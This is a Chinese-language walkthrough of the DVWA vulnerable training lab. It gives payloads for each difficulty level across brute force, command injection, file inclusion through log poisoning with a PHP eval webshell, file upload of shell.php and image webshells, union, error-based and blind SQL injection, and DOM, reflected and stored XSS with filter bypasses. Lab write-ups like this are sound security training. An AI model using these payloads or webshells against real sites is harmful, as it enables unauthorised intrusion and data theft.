目录
综合靶场漏洞讲解
Brute Force
Low
Medium
High
Command Injection
Low
Medium
High
File Inclusion
Low,Medium,High
File Upload
Low
Medium
High
SQL Injection
Low
Medium
High
SQL Injection (Blind)
Low
Medium
High
XSS(DOM)
Low
Medium
High
XSS(Reflected)
Low
Medium
High
XSS(Store)
Low
Medium
High
综合靶场漏洞讲解
Brute Force
Low
-
尝试登录
抓包,发送至intruder模块
配置参数
开始攻击,找到对应结果
Medium
主要问题存在于请求发送时间间隔,不懂啊我靠
High
涉及到时间和token的知识,这我更不懂为什么了
Command Injection
Low
第一个命令执行结果正确与否无所谓,利用一些符号使得正确执行第二个命令就好了
Medium
同样的道理
High
这个稍微不一样,因为在源代码处理过程中,对一些特殊符号做了过滤
所以我们可以使用的他叔符号很有限,而且他这里不知道为什么 ; 是无法使用的
File Inclusion
Low,Medium,High
直接先访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=<?@eval($_POST['a']);?>
然后再访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
其中POST参数为a=phpinfo();
High关卡由于设置了访问内容范围,所以我们需要使用PHP伪协议来访问本地文件系统 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=file:///opt/lampp/logs/access_log
File Upload
Low
直接上传 shell.php 即可
Medium
burp抓包修改文件类型
High
上传图片马,利用文件包含漏洞 使用 file:// 伪协议,访问本地文件系统,并传入参数 a=phpinfo();
但是如果没有文件包含漏洞怎么办?
SQL Injection
Low
payload如下:
我使用的是报错注入
1' union select database(),updatexml(1,concat(0x7e,user(),0x7e),1)--+
也可以,使用union查询,payload如下
1' union select 1,database() --+
Medium
数字型post注入,payload如下
1 union select 1,database()
High
union查询就可以,payload如下
1' union select 1,database()#
这个题报错注入是不行的,因为只要有错,后台自定义错误,出现任何错误都是这样
SQL Injection (Blind)
Low
这是一道布尔盲注题目
通过试探,发现是字符型注入,并且可以投ing过 --+ 注释单引号,注意,这道题中#注释是不可取的
正确情况回显
错误情况回显
payload如下
1' and length(database())=4 --+
Medium
id=1 and 1=1正确回显,id=1 and 1=2错误回显,说明是数字型注入
所以payload如下
1 and length(database())=4
High
通过试探,此乃字符型注入,单引号闭合, --+ 注释不可取,可使用 # 注释,
所以payload如下
1' and length(database())=4 #
如果判断错误则如下
XSS(DOM)
Low
payload default=English<script>alert(1)</script>
Medium
German</option></select><img src='x' onmouseover="alert(1)">
<option value="German">Spanish</option> <option value="German"></option></select><img src="x" οnerrοr="alert(1)">Spanish</option> <option value="German</option></select><img src='x' οnmοuseοver="alert(1)">">Spanish</option> <option value="German%3C/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20οnmοuseοver=%22alert(1)%22%3E">German</option>
此时利用Low级别的payload发现我们写入的值仅存在于value中,并不存在于<option>和<select> 两个标签之中,我们猜测 <img> 这个标签不允许存在于<option> 和 <select> 标签之中,于是我们可以闭合这些标签,我们先尝试闭合 <option>,本来 <script> 标签是可以存在的,但是这一关将 script 标签过滤掉了,于是就无法使用了,我们只能选择其他标签。
-
先尝试闭合 <option> 标签
ok,没效果,说明不是 <option> 标签限制了 img 的存在s
-
尝试闭合 <select> 标签,payload
</select><img src=1 onerror="alert(1)">
有了,说明 <select> 标签中会限制 <img> 标签的出现
High
查看源代码
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
查看源代码我们可以看到,服务器通过GET接收到的参数必须是四个 case 中的选项,意味着我们就不能随意修改URL地址栏中的请求参数的值了,那怎么实现跨站脚本攻击呢
URL地址中我们可以通过添加锚点(#,也叫做页面定位符)来实现向前端页面传输,但锚点后面的内容并不会传输给后端服务器
payload English#<script>alert(1)</script>
然后重新刷新一下页面就好了(或执行一下)
XSS(Reflected)
Low
尝试输入admin 发现直接回显到页面上,那么直接输入 payload <script>alert(1)</script>
Medium
尝试Low级别的payload,发现只回显了alert(1)
说明<script>标签被过滤了,那我们换个标签 payload <img src=1 onerror="alert(1)">
同样可以使用 <svg onload=alert(1)>
High
<img src=1 onerror="alert(1)">
XSS(Store)
Low
尝试输入正确内容,发现页面完全回显,那么直接在内容中上 payload <script>alert(1)</script>
,用户名长度有限制
Medium
代码审计 可以发现 程序只对$name
做了过滤,$message
是进行了统一的SQL注入预防和HTML,PHP标签删除以及实体字符转换,而$name有过滤条件,那么我们就可以想办法绕过,而且还没有进行实体字符转换,ok开搞
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
-
F12修改name输入框长度
-
输入大小写绕过或者双写绕过
<ScRiPt>alert(/xss/)</ScRiPt>
<scr<script>ipt>alert(/xss/)</script>
High
和 Medium 差不多,只不过这次 $name 采用的过滤方式是黑名单加正则匹配
修改 $name 输入宽度 ,payload:<img src=1 onerror="alert(/xss/)">